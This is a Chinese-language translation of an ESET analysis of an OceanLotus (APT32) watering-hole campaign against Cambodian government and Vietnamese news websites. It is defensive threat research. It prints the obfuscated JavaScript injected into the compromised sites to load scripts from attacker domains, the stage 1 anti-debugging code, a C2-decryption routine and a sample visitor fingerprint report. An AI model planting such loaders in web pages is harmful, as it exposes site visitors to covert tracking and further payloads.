导语:ESET研究人员发现OceanLotus组织攻击东南亚政府组织的新水坑攻击活动。

ESET研究人员发现攻击东南亚的新水坑攻击活动,该攻击活动自2018年9月开始活跃。研究人员共识别出21个被入侵的网站,其中有柬埔寨国防部、外交和国际合作部以及越南的新闻和博客网站。

研究人员分析发现该活动是由OceanLotus组织发起的。OceanLotus也叫做APT 32,APT-C-00,从2012年开始活跃,主要攻击外国政府和持不同政见者。

技术分析

攻击者再index页面或服务器上的Javascript文件中加入了JavaScript代码,代码是经过混淆的,如图2所示。然后加载另一个来自攻击者控制的服务器上的脚本。脚本https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js被加入到中,用于加载来自https://weblink.selfip[.]info/images/cdn.js?from=maxcdn的文件。

(function() {
    var pt = "http";
    var l = document.createElement('script');
    l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn';
    document.getElementsByTagName('body')[0].appendChild(l)
})('web', 'a', 'link', '.self');

 加入到mfaic.gov[.]kh网站的 JavaScript代码

为了绕过检测,攻击者采取了以下措施:

· 混淆脚本来预防对final URL的静态分析;

· URL与网站使用过的真实的JavaScript库非常相似;

· 每个被黑的站点使用不同的域名和URI;

· 每个被黑的站点使用不同的脚本。

下面代码段是插入到另一个被黑的网站的脚本:

var script = document.createElement("script");
var i = 'crash-course';
var s = "fzgbc knowsztall znfo";
var _ = '/';
var e = "VisitorIdentification.js?sa=" + i;
script.async = true;
script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e;
var doc = document.getElementsByTagName('script')[0];
doc.parentNode.insertBefore(script, doc);

插入目标网站的另一个JavaScript

stage 1

根据访问者的IP地址位置,stage 1服务器负责传播诱饵脚本或stage 1脚本。并不是所有的服务器都会进行位置检查,但如果启用了,只有来自越南和柬埔寨的访问者才能接收到恶意脚本。

Stage 1脚本含有多项检查来绕过检测,如下所示:

[…]
function t(n) {
    var r = this;
    !function (t, n) {
        if (!(t instanceof n))
            throw new TypeError('Cannot call a class as a function');
    }(this, t), this.t = {
        o: null,
        s: !0
    }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () {
        r.i || r.scr && !r.t.s && (r.scr = !1, r.c(n)), r.i = !1;
    });
}
return t.prototype.r = function () {
    var t = this;
    setInterval(function () {
        var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal';
        r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (t.t.s = !1, t.t.o = null) : (t.t.s = !0, t.t.o = e);
    }, 500);
}
[…]

stage 1 JavaScript payload

脚本会等用户滑到页面底部,脚本还会检查窗口的分辨率以确定是否启用Firebug。如果检查失败就停止执行。

然后,用定制的算法解密C2域名。比如3B37371M1B1B382R332V1A382W36392W2T362T1A322T38会解密为wss://tcog.thruhere[.]net。对于每个stage 1域名,攻击者会注册一个不同的stage 2域名,每个域名都托管在不同的服务器上。下面的python解密函数代码是等价的。

def decrypt(encrypted_url):
s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))

解密C2服务器的Python代码

C2地址解密后,脚本会发送一个唯一的15个数字的字符串,然后接收并执行stage 2脚本。所有的通信都是通过WebSocket经过SSL执行的。协议允许客户端和服务器全双工通信。也就是说,客户端建立连接后,服务器可以在客户端未发送请求的情况下向客户端发送数据。但这里使用websocket的目的是为了绕过检测。

Stage 2

Stage 2脚本是一个侦察脚本,OceanLotus开发者重用了GitHub上的Valve fingerprintjs2库,并进行了简单修改。图6是脚本执行的不同动作。所有的通信都是通过stage 1打开的websocket session进行的。

stage 2 payload流

通信使用服务器生成的AES session key加密。使用RSA 1024位公钥加密,并发送给客户端。因此无法解密客户端和服务器之间的通信。

与之前的水坑攻击框架相比,这次的攻击活动更难检测,因为通过网络发送的数据无法检测到。因此这会组织数据的网络检测。

侦察脚本会建立一个指纹报告,并发送给Stage 2 C2服务器。

{
  "history": {
    "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-",
    "client_url": "https://www.mfaic.gov.kh/",
    "client_cookie": "",
    "client_hash": "",
    "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos",
    "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
    "client_time": "2018-10-21T12:43:25.254Z",
    "timezone": "Asia/Bangkok",
    "client_network_ip_list": [
      "192.168.x.x",
      "x.x.x.x"
    ],
    "client_api": "wss://tcog.thruhere.net/",
    "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7",
    "client_uuid": "a612cdb028e1571dcab18e4aa316da26"
  },
  "navigator": {
    "plugins": {
      "activex": false,
      "cors": true,
      "flash": false,
      "java": false,
      "foxit": true,
      "phonegap": false,
      "quicktime": false,
      "realplayer": false,
      "silverlight": false,
      "touch": false,
      "vbscript": false,
      "vlc": false,
      "webrtc": true,
      "wmp": false
    },
    "_screen": {
      "width": 1920,
      "height": 1080,
      "availWidth": 1920,
      "availHeight": 1080,
      "resolution": "1920x1080"
    },
 "_plugins": [
[...]

指纹报告

该报告与OceanLotus Framework B生成的报告几乎一模一样。不同的地方也很相似,都含有相同的打印错误。基于这些相似之处和目标的位置,研究人员相信是OceanLotus发起的这次攻击活动。

报告中含有受害者浏览器和访问的网站的详细信息:user-agent, HTTP Referer, t本地和外部IP地址,浏览器插件和浏览器的配置语言首选项。

不同点是每个机器都有2个唯一的id,分别是client_zuuid和client_uuid。这可能是用来识别用户和追踪的。这些id也存在于2017版的framework中,而且计算client_uuid的方法也是一样的。

client_zuuid是navigator.mediaDevices.enumerateDevices中的不同deviceId值加起来的。设备是可以访问浏览器的外部设备,比如照相机、麦克风等。该值对给定用户来说是不变的。

client_uuid是fingerprintjs2提取的指纹信息的MD5哈希值。在收集的信息中有浏览器user-agent、语言、时区、浏览器插件、字体。除非用户更新浏览器或使用不同的设备,否则该值对给定用户来说应该是不变的。

最后,服务器可以发送额外的JavaScript代码到受害者计算机,这段代码应该就是真实的payload。但是因为使用了AES session key来加密通信,因此研究人员不能识别攻击者发送的payload。而且payload只发送给特定的目标,因此就无法用测试机器来获取payload。

网络基础设施

为了绕过检测,OceanLotus对每个被黑的站点分别注册了stage 1和stage 2的域名。每个域名都托管在不同IP地址的不同服务器上,攻击者注册了至少50个域名和50个服务器。

而且大多数的stage 1域名都是在免费的域名服务上注册的,大多数stage 2的域名都是付费的。而且攻击者也在模仿非恶意的网站来看似合法的。表3是攻击者模仿的服务列表。

 image.png

攻击者模仿的合法网站

结论

OceanLotus组织仍然在不断攻击东南亚地区,但是使用的工具集和攻击技术在不断改善,包括使用水坑框架和Windows、macOS恶意软件。本文描述的OceanLotus活动中攻击的复杂度和熟练度都提高了,也说明该APT组织需要长期关注。

源链接

Hacking more

...